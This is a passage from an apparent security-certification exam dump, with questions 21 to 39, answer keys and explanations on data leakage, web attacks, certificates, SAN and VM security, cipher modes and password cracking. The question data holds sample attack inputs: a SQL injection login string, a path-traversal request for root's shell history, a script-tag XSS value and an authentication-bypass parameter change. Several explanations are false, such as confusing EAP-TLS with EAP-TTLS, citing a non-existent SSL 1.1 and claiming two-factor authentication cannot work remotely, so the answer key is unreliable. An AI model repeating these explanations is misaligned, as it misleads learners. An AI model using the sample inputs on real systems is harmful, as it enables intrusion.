Web mail, Instant Messaging and personal networking sites are some of the most common means by which corporate data is leaked.

Data loss prevention (DLP) is a strategy for making sure that end users do not send sensitive or critical information outside the corporate network. The term is also used to describe software products that help a network administrator control what data end users can transfer.

DLP software products use business rules to classify and protect confidential and critical information so that unauthorized end users cannot accidentally or maliciously share data whose disclosure could put the organization at risk. For example, if an employee tried to forward a business email outside the corporate domain or upload a corporate file to a consumer cloud storage service like Dropbox, the employee would be denied permission.

Full-tunnel VPN should be required for all network communication. This will ensure that all data transmitted over the network is encrypted which would prevent a malicious user accessing the data by using packet sniffing.

Incorrect Answers:

A: This question is asking which of the following additional controls **MUST** be implemented to minimize the risk of data leakage. Implementing a full system backup does not minimize the risk of data leakage.

C: Strong authentication implemented via external biometric devices will ensure that only authorized people can access the network. However, it does not minimize the risk of data leakage.

E: Full-drive file hashing is not required because we already have full drive encryption.

F: Split-tunnel VPN is used when a user is remotely accessing the network. Communications with company servers go over a VPN whereas private communications such as web browsing does not use a VPN. A more secure solution is a full tunnel VPN.

References:

<http://whatis.techtarget.com/definition/data-loss-prevention-DLP>

Question No: 21

A developer has implemented a piece of client-side JavaScript code to sanitize a user's provided input to a web page login screen. The code ensures that only the upper case and lower case letters are entered in the username field, and that only a 6-digit PIN is entered in the password field. A security administrator is

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concerned with the following web server log:

```
10.235.62.11 [02/Mar/2014:06:13:04] "GET /site/script.php?user=admin&pass=pass%20or%201=1 HTTP/1.1" 200 5724
```

Given this log, which of the following is the security administrator concerned with and which fix should be implemented by the developer?

- A. The security administrator is concerned with nonprintable characters being used to gain administrative access, and the developer should strip all nonprintable characters.
- B. The security administrator is concerned with XSS, and the developer should normalize Unicode characters on the browser side.
- C. The security administrator is concerned with SQL injection, and the developer should implement server side input validation.
- D. The security administrator is concerned that someone may log on as the administrator, and the developer should ensure strong passwords are enforced.

Answer: C

Explanation:

The code in the question is an example of a SQL Injection attack. The code '1=1' will always provide a value of true. This can be included in statement designed to return all rows in a SQL table.

In this question, the administrator has implemented client-side input validation. Client-side validation can be bypassed. It is much more difficult to bypass server-side input validation. SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Incorrect Answers:

A: The code in this question does not contain non-printable characters.

B: The code in this question is not an example of cross site scripting (XSS).

D: The code in this question is an example of a SQL injection attack. It is not simply someone attempting to log on as administrator.

References:

http://en.wikipedia.org/wiki/SQL_injection

Question No: 22

The security administrator finds unauthorized tables and records, which were not present before, on a Linux database server. The database server communicates only with one web server, which connects to

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the database server via an account with SELECT only privileges. Web server logs show the following:

```
90.76.165.40 - - [08/Mar/2014:10:54:04] "GET calendar.php?create%20table%20hidden HTTP/1.1" 200 5724
```

```
90.76.165.40- - [08/Mar/2014:10:54:05] "GET ../../../../root/.bash_history HTTP/1.1" 200 5724
```

```
90.76.165.40 - - [08/Mar/2014:10:54:04] "GET index.php?user=<script>Create</script> HTTP/1.1" 200 5724
```

The security administrator also inspects the following file system locations on the database server using the command 'ls -al /root'

```
drwxrwxrwx 11 root root 4096 Sep 28 22:45 .
drwxr-xr-x 25 root root 4096 Mar 8 09:30 ..
-rws----- 25 root root 4096 Mar 8 09:30 .bash_history
-rw----- 25 root root 4096 Mar 8 09:30 .bash_history
-rw----- 25 root root 4096 Mar 8 09:30 .profile
-rw----- 25 root root 4096 Mar 8 09:30 .ssh
```

Which of the following attacks was used to compromise the database server and what can the security administrator implement to detect such attacks in the future? (Select TWO).

- A. Privilege escalation
- B. Brute force attack
- C. SQL injection
- D. Cross-site scripting
- E. Using input validation, ensure the following characters are sanitized:<>
- F. Update crontab with: find/(-perm -4000 \) -type f-printO | xargs -0 ls -l | email.sh
- G. Implement the following PHP directive: \$clean_user_input = addslashes(\$user_input)
- H. Set an account lockout policy

Answer: A, F

Explanation:

This is an example of privilege escalation.

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user.

The question states that the web server communicates with the database server via an account with SELECT only privileges. However, the privileges listed include read, write and execute (rwx). This suggests the privileges have been 'escalated'.

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Now that we know the system has been attacked, we should investigate what was done to the system.

The command "Update crontab with: find / \(-perm -4000 \) -type f -printO | xargs -0 ls -l | email.sh" is used to find all the files that are setuid enabled. Setuid means set user ID upon execution. If the setuid bit is turned on for a file, the user executing that executable file gets the permissions of the individual or group that owns the file.

Incorrect Answers:

B: A brute force attack is used to guess passwords. This is not an example of a brute force attack.

C: SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). This is not an example of a SQL Injection attack.

D: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. This is not an example of an XSS attack.

E: Sanitizing just the <> characters will not prevent such an attack. These characters should not be sanitized in a web application.

G: Adding slashes to the user input will not protect against the input; it will just add slashes to it.

H: An account lockout policy is useful to protect against password attacks. After a number of incorrect passwords, the account will lockout. However, the attack in this question is not a password attack so a lockout policy won't help.

Question No: 23

The risk manager has requested a security solution that is centrally managed, can easily be updated, and protects end users' workstations from both known and unknown malicious attacks when connected to either the office or home network. Which of the following would BEST meet this requirement?

- A. HIPS
- B. UTM
- C. Antivirus
- D. NIPS
- E. DLP

Answer: A

Explanation:

In this question, we need to protect the workstations when connected to either the office or home network. Therefore, we need a solution that stays with the workstation when the user takes the computer home. A HIPS (Host Intrusion Prevention System) is software installed on a host which monitors the host for suspicious activity by analyzing events occurring within that host with the aim of detecting and preventing

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intrusion.

Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity.

The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, attempt to block/stop it, and report it.

Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike intrusion detection systems, intrusion prevention systems are placed in-line and are able to actively prevent/block intrusions that are detected. More specifically, IPS can take such actions as sending an alarm, dropping the malicious packets, resetting the connection and/or blocking the traffic from the offending IP address.

Incorrect Answers:

B: Unified threat management (UTM) is a primary network gateway defense solution for organizations. In theory, UTM is the evolution of the traditional firewall into an all-inclusive security product able to perform multiple security functions within one single system: network firewalling, network intrusion prevention and gateway antivirus (AV), gateway anti-spam, VPN, content filtering, load balancing, data loss prevention and on-appliance reporting. However, UTM is designed to protect a network; it will not protect the user's workstations when connected to their home networks as required in this question.

C: Antivirus software will protect against attacks aided by known viruses. However, it will not protect against unknown attacks as required in this question.

D: NIPS stands for Network Intrusion Prevention Systems. A NIPS is designed to protect a network; it will not protect the user's workstations when connected to their home networks as required in this question.

E: Data loss prevention (DLP) is a strategy for making sure that end users do not send sensitive or critical information outside the corporate network. DLP does not protect against malicious attacks.

References:

http://en.wikipedia.org/wiki/Intrusion_prevention_system

Question No: 24

Which of the following describes a risk and mitigation associated with cloud data storage?

A. Risk: Shared hardware caused data leakage Mitigation: Strong encryption at rest

B. Risk: Offsite replication Mitigation: Multi-site backups

C. Risk: Data loss from de-duplication Mitigation: Dynamic host bus addressing

D. Risk: Combined data archiving Mitigation: Two-factor administrator authentication

Answer: A

Explanation:

With cloud data storage, the storage provider will have large enterprise SANs providing large pools of

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storage capacity. Portions of the storage pools are assigned to customers. The risk is that multiple customers are storing their data on the same physical hardware storage devices. This presents a risk (usually a very small risk, but a risk all the same) of other customers using the same cloud storage hardware being able to view your data.

The mitigation of the risk is to encrypt your data stored on the SAN. Then the data would be unreadable even if another customer was able to access it.

Incorrect Answers:

B: Offsite replication is used for disaster recovery purposes. It is not considered to be a risk as long as the data is secure in the other site. Multi-site backups are not a risk mitigation.

C: Data loss from de-duplication is not considered to be a risk. De-duplication removes duplicate copies of data to reduce the storage space required for the data. Dynamic host bus addressing is not a risk mitigation.

D: Combined data archiving is not considered to be a risk. The archived data would be less accessible to other customers than the live data on the shared storage.

Question No: 25

An administrator is tasked with securing several website domains on a web server. The administrator elects to secure `www.example.com`, `mail.example.org`, `archive.example.com`, and `www.example.org` with the same certificate. Which of the following would allow the administrator to secure those domains with a single issued certificate?

A. Intermediate Root Certificate

B. Wildcard Certificate

C. EV x509 Certificate

D. Subject Alternative Names Certificate

Answer: D

Explanation:

Subject Alternative Names let you protect multiple host names with a single SSL certificate. Subject Alternative Names allow you to specify a list of host names to be protected by a single SSL certificate.

When you order the certificate, you will specify one fully qualified domain name in the common name field. You can then add other names in the Subject Alternative Names field.

Incorrect Answers:

A: An Intermediate Root Certificate is used to trust an intermediate CA (Certification Authority). The Intermediate root CA can issue certificates but the Intermediate Root Certificate itself cannot be used to secure multiple domains on a web server.

B: A wildcard certificate can be used to secure multiple domain names within the same higher level domain. For example: a wildcard certificate `"*.example.com"` can secure an unlimited number of domains

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that end in 'example.com' such as domain1.example.com, domain2.example.com etc. A wildcard certificate cannot be used to secure the domains listed in this question.

C: The certificate used to secure the domains will be an x509 certificate but it will not be a standard EV certificate. EV stands for extended validation. With a non-EV certificate, the issuing CA just ensures that you own the domains that you want to secure. With an EV certificate, further checks are carried out such as checks on your company. EV certificates take longer to issue due to the extra checks but the EV certificate provides extra guarantees to your customers that you are who you say you are. However, a standard EV certificate only secures a single domain.

Question No: 26

Which of the following technologies prevents an unauthorized HBA from viewing iSCSI target information?

- A. Deduplication
- B. Data snapshots
- C. LUN masking
- D. Storage multipaths

Answer: C

Explanation:

A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN). LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Incorrect Answers:

A: Deduplication is the process of eliminating multiple copies of the same data to save storage space. It does not prevent an unauthorized HBA from viewing iSCSI target information.

B: Data snapshots are point in time copies of data often used by data backup applications. They do not prevent an unauthorized HBA from viewing iSCSI target information.

D: Storage multipaths are when you have multiple connections to a storage device. This provides path redundancy in the event of a path failure and can also (in active/active configurations) provide extra capacity by aggregating the bandwidth of the multiple storage paths. However, they do not prevent an unauthorized HBA from viewing iSCSI target information.

References:

<http://searchvirtualstorage.techtarget.com/definition/LUN-masking>

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Question No: 27

Company ABC is hiring customer service representatives from Company XYZ. The representatives reside at Company XYZ's headquarters. Which of the following BEST prevents Company XYZ representatives from gaining access to unauthorized Company ABC systems?

- A. Require each Company XYZ employee to use an IPSec connection to the required systems
- B. Require Company XYZ employees to establish an encrypted VDI session to the required systems
- C. Require Company ABC employees to use two-factor authentication on the required systems
- D. Require a site-to-site VPN for intercompany communications

Answer: B

Explanation:

VDI stands for Virtual Desktop Infrastructure. Virtual desktop infrastructure is the practice of hosting a desktop operating system within a virtual machine (VM) running on a centralized server. Company ABC can configure virtual desktops with the required restrictions and required access to systems that the users in company XYZ require. The users in company XYZ can then log in to the virtual desktops over a secure encrypted connection and then access authorized systems only.

Incorrect Answers:

A: Requiring IPSec connections to the required systems would secure the connections to the required systems. However, it does not prevent access to unauthorized systems.

C: The question states that the representatives reside at Company XYZ's headquarters. Therefore, they will be access Company ABC's systems remotely. Two factor authentication requires that the user be present at the location of the system to present a smart card or for biometric authentication; two factor authentication cannot be performed remotely.

D: A site-to-site VPN will just create a secure connection between the two sites. It does not restrict access to unauthorized systems.

References:

<http://searchvirtualdesktop.techtarget.com/definition/virtual-desktop>

Question No: 28

A vulnerability scanner report shows that a client-server host monitoring solution operating in the credit card corporate environment is managing SSL sessions with a weak algorithm which does not meet corporate policy. Which of the following are true statements? (Select TWO).

- A. The X509 V3 certificate was issued by a non trusted public CA.
- B. The client-server handshake could not negotiate strong ciphers.

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- C. The client-server handshake is configured with a wrong priority.
- D. The client-server handshake is based on TLS authentication.
- E. The X509 V3 certificate is expired.
- F. The client-server implements client-server mutual authentication with different certificates.

Answer: B, C

Explanation:

The client-server handshake could not negotiate strong ciphers. This means that the system is not configured to support the strong ciphers provided by later versions of the SSL protocol. For example, if the system is configured to support only SSL version 1.1, then only a weak cipher will be supported.

The client-server handshake is configured with a wrong priority. The client sends a list of SSL versions it supports and priority should be given to the highest version it supports. For example, if the client supports SSL versions 1.1, 2 and 3, then the server should use version 3. If the priority is not configured correctly (if it uses the lowest version) then version 1.1 with its weak algorithm will be used.

Incorrect Answers:

A: If the X509 V3 certificate was issued by a non-trusted public CA, then the client would receive an error saying the certificate is not trusted. However, an X509 V3 certificate would not cause a weak algorithm.

D: TLS provides the strongest algorithm; even stronger than SSL version 3.

E: If the X509 V3 certificate had expired, then the client would receive an error saying the certificate is not trusted due to being expired. However, an X509 V3 certificate would not cause a weak algorithm.

F: SSL does not mutual authentication with different certificates.

References:

<http://www.slashroot.in/understanding-ssl-handshake-protocol>

Question No: 29

Which of the following represents important technical controls for securing a SAN storage infrastructure? (Select TWO).

- A. Synchronous copy of data
- B. RAID configuration
- C. Data de-duplication
- D. Storage pool space allocation
- E. Port scanning

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F. LUN masking/mapping

G. Port mapping

Answer: F, G

Explanation:

A logical unit number (LUN) is a unique identifier that designates individual hard disk devices or grouped devices for address by a protocol associated with a SCSI, iSCSI, Fibre Channel (FC) or similar interface. LUNs are central to the management of block storage arrays shared over a storage area network (SAN). LUN masking subdivides access to a given port. Then, even if several LUNs are accessed through the same port, the server masks can be set to limit each server's access to the appropriate LUNs. LUN masking is typically conducted at the host bus adapter (HBA) or switch level.

Port mapping is used in 'Zoning'. In storage networking, Fibre Channel zoning is the partitioning of a Fibre Channel fabric into smaller subsets to restrict interference, add security, and to simplify management. While a SAN makes available several devices and/or ports to a single device, each system connected to the SAN should only be allowed access to a controlled subset of these devices/ports.

Zoning can be applied to either the switch port a device is connected to OR the WWN World Wide Name on the host being connected. As port based zoning restricts traffic flow based on the specific switch port a device is connected to, if the device is moved, it will lose access. Furthermore, if a different device is connected to the port in question, it will gain access to any resources the previous host had access to.

Incorrect Answers:

A: Synchronous copy of data is used to copy data. It is not a technical control for securing a SAN storage infrastructure.

B: RAID configuration is the configuration of the disks in the SAN. A RAID is an array of disks that provides a logical pool of storage by combining the storage capacity of the disks. RAID provides hardware redundancy in that the data will not be lost if an individual disk fails. RAID configuration is not a technical control for securing a SAN storage infrastructure.

C: Data de-duplication is the process of eliminating multiple copies of the same data to save storage space. It is not a technical control for securing a SAN storage infrastructure.

D: Storage pool space allocation is the process of allocating and making available portions of the storage pool to servers. It is not a technical control for securing a SAN storage infrastructure.

E: Port scanning is the process of probing a server or host for open ports. It is not a technical control for securing a SAN storage infrastructure.

References:

<http://searchvirtuallstorage.techtarget.com/definition/LUN-masking>

https://en.wikipedia.org/wiki/Fibre_Channel_zoning

Question No: 30

An enterprise must ensure that all devices that connect to its networks have been previously approved. The solution must support dual factor mutual authentication with strong identity assurance. In order to reduce costs and administrative overhead, the security architect wants to outsource identity proofing and

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second factor digital delivery to the third party. Which of the following solutions will address the enterprise requirements?

- A. Implementing federated network access with the third party.
- B. Using a HSM at the network perimeter to handle network device access.
- C. Using a VPN concentrator which supports dual factor via hardware tokens.
- D. Implementing 802.1x with EAP-TLS across the infrastructure.

Answer: D

Explanation:

IEEE 802.1X (also known as Dot1x) is an IEEE Standard for Port-based Network Access Control (PNAC). It is part of the IEEE 802.1 group of networking protocols. It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN.

802.1X authentication involves three parties: a supplicant, an authenticator, and an authentication server. The supplicant is a client device (such as a laptop) that wishes to attach to the LAN/WLAN - though the term 'supplicant' is also used interchangeably to refer to the software running on the client that provides credentials to the authenticator. The authenticator is a network device, such as an Ethernet switch or wireless access point; and the authentication server is typically a host running software supporting the RADIUS and EAP protocols.

The authenticator acts like a security guard to a protected network. The supplicant (i.e., client device) is not allowed access through the authenticator to the protected side of the network until the supplicant's identity has been validated and authorized. An analogy to this is providing a valid visa at the airport's arrival immigration before being allowed to enter the country. With 802.1X port-based authentication, the supplicant provides credentials, such as user name/password or digital certificate, to the authenticator, and the authenticator forwards the credentials to the authentication server for verification. If the authentication server determines the credentials are valid, the supplicant (client device) is allowed to access resources located on the protected side of the network.

EAP-TLS (Tunneled Transport Layer Security) is designed to provide authentication that is as strong as EAP-TLS, but it does not require that each user be issued a certificate. Instead, only the authentication servers are issued certificates. User authentication is performed by password, but the password credentials are transported in a securely encrypted tunnel established based upon the server certificates.

Incorrect Answers:

A: Federated network access provides user access to networks by using a single logon. The logon is authenticated by a party that is trusted to all the networks. It does not ensure that all devices that connect to its networks have been previously approved.

B: A hardware security module (HSM) is a physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. It does not ensure that all devices that connect to its networks have been previously approved.

C: A VPN concentrator provides VPN connections and is typically used for creating site-to-site VPN

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architectures. It does not ensure that all devices that connect to its networks have been previously approved.

References:

http://en.wikipedia.org/wiki/IEEE_802.1X

https://www.juniper.net/techpubs/software/aaa_802/sbrc/sbrc70/sw-sbrc-admin/html/EAP-024.html

Question No: 31

A security administrator is performing VDI traffic data collection on a virtual server which migrates from one host to another. While reviewing the data collected by the protocol analyzer, the security administrator notices that sensitive data is present in the packet capture. Which of the following should the security administrator recommend to ensure the confidentiality of sensitive information during live VM migration, while minimizing latency issues?

- A. A separate physical interface placed on a private VLAN should be configured for live host operations.
- B. Database record encryption should be used when storing sensitive information on virtual servers.
- C. Full disk encryption should be enabled across the enterprise to ensure the confidentiality of sensitive data.
- D. Sensitive data should be stored on a backend SAN which uses an isolated fiber channel network.

Answer: A

Explanation:

VDI virtual machines can be migrated across physical hosts while the virtual machines are still powered on. In VMware, this is called vMotion. In Microsoft Hyper-V, this is called Live Migration.

When a virtual machine is migrated between hosts, the data is unencrypted as it travels across the network. To prevent access to the data as it travels across the network, a dedicated network should be created for virtual machine migrations. The dedicated migration network should only be accessible by the virtual machine hosts to maximize security.

Incorrect Answers:

B: Database record encryption is used for encrypting database records only. This question does not state that the only sensitive data is database records. The data is at risk as it travels across the network when virtual machines are migrated between hosts. Data is unencrypted when it is transmitted over the network.

C: Full disk encryption is a good idea to secure data stored on disk. However, the data is unencrypted when it is transmitted over the network.

D: The sensitive data is on the VDI virtual machines. Storing the sensitive information on an isolated fiber channel network would make the information inaccessible from the virtual machines.

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Question No: 32

A penetration tester is inspecting traffic on a new mobile banking application and sends the following web request:

```
POST http://www.example.com/resources/NewBankAccount HTTP/1.1
```

```
Content-type: application/json
```

```
{  
  "account":  
  { "creditAccount": "Credit Card Rewards account"  
  { "salesLeadRef": "www.example.com/badcontent/exploitme.exe"  
  },  
  "customer":  
  { "name": "Joe Citizen"  
  { "custRef": "3153151"  
  }  
  }  
}
```

The banking website responds with:

```
HTTP/1.1 200 OK
```

```
{  
  }  
  "newAccountDetails":  
  { "cardNumber": "1234123412341234"  
  { "cardExpiry": "2020-12-31"  
  { "cardCVV": "909"  
  },  
  "marketingCookieTracker": "JSESSIONID=000000001"  
  "returnCode": "Account added successfully"
```

Which of the following are security weaknesses in this example? (Select TWO).

- A. Missing input validation on some fields
- B. Vulnerable to SQL injection
- C. Sensitive details communicated in clear-text
- D. Vulnerable to XSS
- E. Vulnerable to malware file uploads
- F. JSON/REST is not as secure as XML

Answer: A, C

Explanation:

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The SalesLeadRef field has no input validation. The penetration tester should not be able to enter "www.example.com/badcontent/exploitme.exe" in this field.

The credit card numbers are communicated in clear text which makes it vulnerable to an attacker.

This kind of information should be encrypted.

Incorrect Answers:

B: There is nothing to suggest the system is vulnerable to SQL injection.

D: There is nothing to suggest the system is vulnerable to XSS (cross site scripting).

E: Although the tester was able to post a URL to malicious software, it does not mean the system is vulnerable to malware file uploads.

F: JSON/REST is no less secure than XML.

Question No: 33

Joe, a penetration tester, is tasked with testing the security robustness of the protocol between a mobile web application and a RESTful application server. Which of the following security tools would be required to assess the security between the mobile web application and the RESTful application server? (Select TWO).

A. Jail broken mobile device

B. Reconnaissance tools

C. Network enumerator

D. HTTP interceptor

E. Vulnerability scanner

F. Password cracker

Answer: D, E

Explanation:

Communications between a mobile web application and a RESTful application server will use the HTTP protocol. To capture the HTTP communications for analysis, you should use an HTTP Interceptor.

To assess the security of the application server itself, you should use a vulnerability scanner.

A vulnerability scan is the automated process of proactively identifying security vulnerabilities of computing systems in a network in order to determine if and where a system can be exploited and/or threatened. While public servers are important for communication and data transfer over the Internet, they open the door to potential security breaches by threat agents, such as malicious hackers.

Vulnerability scanning employs software that seeks out security flaws based on a database of known flaws, testing systems for the occurrence of these flaws and generating a report of the findings that an individual or an enterprise can use to tighten the network's security.

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Vulnerability scanning typically refers to the scanning of systems that are connected to the Internet but can also refer to system audits on internal networks that are not connected to the Internet in order to assess the threat of rogue software or malicious employees in an enterprise.

Incorrect Answers:

A: A jailbroken mobile device is a mobile device with an operating system that has any built-in security restrictions removed. This enables you to install software and perform actions that the manufacturer did not intend. However, a jailbroken mobile device is not a suitable security tool to assess the security between the mobile web application and the RESTful application server.

B: Reconnaissance in terms of IT security is the process of learning as much as possible about a target business usually over a long period of time with a view to discovering security flaws. It is not used by security administrators for security assessment of client-server applications.

C: Network enumeration is a computing activity in which usernames and info on groups, shares, and services of networked computers are retrieved. It is not used to assess the security between the mobile web application and the RESTful application server.

F: A password cracker is used to guess passwords. It is not a suitable security tool to assess the security between the mobile web application and the RESTful application server.

References:

http://www.webopedia.com/TERM/V/vulnerability_scanning.html

Question No: 34

Ann is testing the robustness of a marketing website through an intercepting proxy. She has intercepted the following HTTP request:

```
POST /login.aspx HTTP/1.1
```

```
Host: comptia.org
```

```
Content-type: text/html
```

```
txtUsername=ann&txtPassword=ann&alreadyloggedin=false&submit=true
```

Which of the following should Ann perform to test whether the website is susceptible to a simple authentication bypass?

- A. Remove all of the post data and change the request to /login.aspx from POST to GET
- B. Attempt to brute force all usernames and passwords using a password cracker
- C. Remove the txtPassword post data and change alreadyloggedin from false to true
- D. Remove the txtUsername and txtPassword post data and toggle submit from true to false

Answer: C

Explanation:

The text "txtUsername=ann&txtPassword=ann" is an attempted login using a username of 'ann' and also a password of 'ann'.

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The text "alreadyloggedin=false" is saying that Ann is not already logged in.

To test whether we can bypass the authentication, we can attempt the login without the password and we can see if we can bypass the 'alreadyloggedin' check by changing alreadyloggedin from false to true. If we are able to log in, then we have bypassed the authentication check.

Incorrect Answers:

A: GET /login.aspx would just return the login form. This does not test whether the website is susceptible to a simple authentication bypass.

B: We do not want to guess the usernames and passwords. We want to see if we can get into the site without authentication.

D: We need to submit the data so we cannot toggle submit from true to false.

Question No: 35

An organization has implemented an Agile development process for front end web application development. A new security architect has just joined the company and wants to integrate security activities into the SDLC.

Which of the following activities **MUST** be mandated to ensure code quality from a security perspective? (Select TWO).

- A. Static and dynamic analysis is run as part of integration
- B. Security standards and training is performed as part of the project
- C. Daily stand-up meetings are held to ensure security requirements are understood
- D. For each major iteration penetration testing is performed
- E. Security requirements are story boarded and make it into the build
- F. A security design is performed at the end of the requirements phase

Answer: A, D

Explanation:

SDLC stands for systems development life cycle. An agile project is completed in small sections called iterations. Each iteration is reviewed and critiqued by the project team. Insights gained from the critique of an iteration are used to determine what the next step should be in the project. Each project iteration is typically scheduled to be completed within two weeks.

Static and dynamic security analysis should be performed throughout the project. Static program analysis is the analysis of computer software that is performed without actually executing programs (analysis performed on executing programs is known as dynamic analysis). In most cases the analysis is performed on some version of the source code, and in the other cases, some form of the object code.

For each major iteration penetration testing is performed. The output of a major iteration will be a

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functioning part of the application. This should be penetration tested to ensure security of the application.

Incorrect Answers:

B: Security standards and training does not ensure code quality from a security perspective. The only way to ensure code quality is to test the code itself.

C: Ensuring security requirements are understood does not ensure code quality from a security perspective. The only way to ensure code quality is to test the code itself.

E: Storyboarding security requirements does not ensure code quality from a security perspective. The only way to ensure code quality is to test the code itself.

F: A security design does not ensure code quality from a security perspective. The only way to ensure code quality is to test the code itself.

References:

https://en.wikipedia.org/wiki/Static_program_analysis

<http://searchcio.techtarget.com/definition/Agile-project-management>

Question No: 36

ABC Corporation uses multiple security zones to protect systems and information, and all of the VM hosts are part of a consolidated VM infrastructure. Each zone has different VM administrators. Which of the following restricts different zone administrators from directly accessing the console of a VM host from another zone?

- A. Ensure hypervisor layer firewalling between all VM hosts regardless of security zone.
- B. Maintain a separate virtual switch for each security zone and ensure VM hosts bind to only the correct virtual NIC(s).
- C. Organize VM hosts into containers based on security zone and restrict access using an ACL.
- D. Require multi-factor authentication when accessing the console at the physical VM host.

Answer: C

Explanation:

Access Control Lists (ACLs) are used to restrict access to the console of a virtual host. Virtual hosts are often managed by centralized management servers (for example: VMware vCenter Server). You can create logical containers that can contain multiple hosts and you can configure ACLs on the containers to provide access to the hosts within the container.

Incorrect Answers:

A: Hypervisor layer firewalling is used to restrict the network traffic that can access the host. It does not prevent a user from directly accessing the console of the host.

B: Maintaining a separate virtual switch for each security zone and ensuring VM hosts bind to only the correct virtual NIC(s) will restrict the network access of the VM hosts. It does not prevent a user from directly accessing the console of the host.

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D: Multi-factor authentication is a secure way of authenticating a user. However, that's all it does: authenticates someone. In other words, it only proves that the person is who they say they are. You would still need an ACL to determine whether that person is allowed or not allowed to access the console of the host.

Question No: 37

A security administrator has been asked to select a cryptographic algorithm to meet the criteria of a new application. The application utilizes streaming video that can be viewed both on computers and mobile devices. The application designers have asked that the algorithm support the transport encryption with the lowest possible performance overhead. Which of the following recommendations would BEST meet the needs of the application designers? (Select TWO).

- A. Use AES in Electronic Codebook mode
- B. Use RC4 in Cipher Block Chaining mode
- C. Use RC4 with Fixed IV generation
- D. Use AES with cipher text padding
- E. Use RC4 with a nonce generated IV
- F. Use AES in Counter mode

Answer: E, F

Explanation:

In cryptography, an initialization vector (IV) is a fixed-size input to a cryptographic primitive that is typically required to be random or pseudorandom. Randomization is crucial for encryption schemes to achieve semantic security, a property whereby repeated usage of the scheme under the same key does not allow an attacker to infer relationships between segments of the encrypted message.

Some cryptographic primitives require the IV only to be non-repeating, and the required randomness is derived internally. In this case, the IV is commonly called a nonce (number used once), and the primitives are described as stateful as opposed to randomized. This is because the IV need not be explicitly forwarded to a recipient but may be derived from a common state updated at both sender and receiver side. An example of stateful encryption schemes is the counter mode of operation, which uses a sequence number as a nonce.

AES is a block cipher. Counter mode turns a block cipher into a stream cipher. It generates the next keystream block by encrypting successive values of a "counter". The counter can be any function which produces a sequence which is guaranteed not to repeat for a long time, although an actual increment-by-one counter is the simplest and most popular.

Incorrect Answers:

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A: AES in Electronic Codebook mode cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 or AES in Counter Mode.

B: RC4 in Cipher Block Chaining mode cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 (not in Cipher Block Chaining mode) or AES in Counter Mode.

C: You cannot use fixed IV generation for RC4 when encrypting streaming video.

D: AES with cipher text padding cannot be used to encrypt streaming video. You would need a stream cipher such as RC4 or AES in Counter Mode.

References:

https://en.wikipedia.org/wiki/Initialization_vector

Question No: 38

ABC Company must achieve compliance for PCI and SOX. Which of the following would BEST allow the organization to achieve compliance and ensure security? (Select THREE).

- A. Establish a list of users that must work with each regulation
- B. Establish a list of devices that must meet each regulation
- C. Centralize management of all devices on the network
- D. Compartmentalize the network
- E. Establish a company framework
- F. Apply technical controls to meet compliance with the regulation

Answer: B, D, F

Explanation:

Payment card industry (PCI) compliance is adherence to a set of specific security standards that were developed to protect card information during and after a financial transaction. PCI compliance is required by all card brands.

There are six main requirements for PCI compliance. The vendor must:

Build and maintain a secure network

Protect cardholder data

Maintain a vulnerability management program

Implement strong access control measures

Regularly monitor and test networks

Maintain an information security policy

To achieve PCI and SOX compliance you should:

Establish a list of devices that must meet each regulation. List all the devices that contain the sensitive data.

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Compartmentalize the network. Compartmentalize the devices that contain the sensitive data to form a security boundary.

Apply technical controls to meet compliance with the regulation. Secure the data as required.

Incorrect Answers:

A: It is not necessary to establish a list of users that must work with each regulation. All users should be trained to manage sensitive data. However, PCI and SOX compliance is more about the security of the data on the computers that contain the data.

C: Central management of all devices on the network makes device management easier for administrators. However, it is not a requirement for PCI and SOX compliance.

E: A company framework is typically related to the structure of employee roles and departments. It is not a requirement for PCI and SOX compliance.

References:

<http://searchcompliance.techtarget.com/definition/PCI-compliance>

Question No: 39

A pentester must attempt to crack passwords on a windows domain that enforces strong complex passwords. Which of the following would crack the MOST passwords in the shortest time period?

A. Online password testing

B. Rainbow tables attack

C. Dictionary attack

D. Brute force attack

Answer: B

Explanation:

The passwords in a Windows (Active Directory) domain are encrypted.

When a password is "tried" against a system it is "hashed" using encryption so that the actual password is never sent in clear text across the communications line. This prevents eavesdroppers from intercepting the password. The hash of a password usually looks like a bunch of garbage and is typically a different length than the original password. Your password might be "shitzu" but the hash of your password would look something like "7378347eedbfd761619451949225ecl".

To verify a user, a system takes the hash value created by the password hashing function on the client computer and compares it to the hash value stored in a table on the server. If the hashes match, then the user is authenticated and granted access.

Password cracking programs work in a similar way to the login process. The cracking program starts by taking plaintext passwords, running them through a hash algorithm, such as MD5, and then compares the hash output with the hashes in the stolen password file. If it finds a match then the program has cracked the password.

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Rainbow Tables are basically huge sets of precomputed tables filled with hash values that are prematched to possible plaintext passwords. The Rainbow Tables essentially allow hackers to reverse the hashing function to determine what the plaintext password might be.

The use of Rainbow Tables allow for passwords to be cracked in a very short amount of time compared with brute-force methods, however, the trade-off is that it takes a lot of storage (sometimes Tera bytes) to hold the Rainbow Tables themselves.

Incorrect Answers:

A: Online password testing cannot be used to crack passwords on a windows domain.

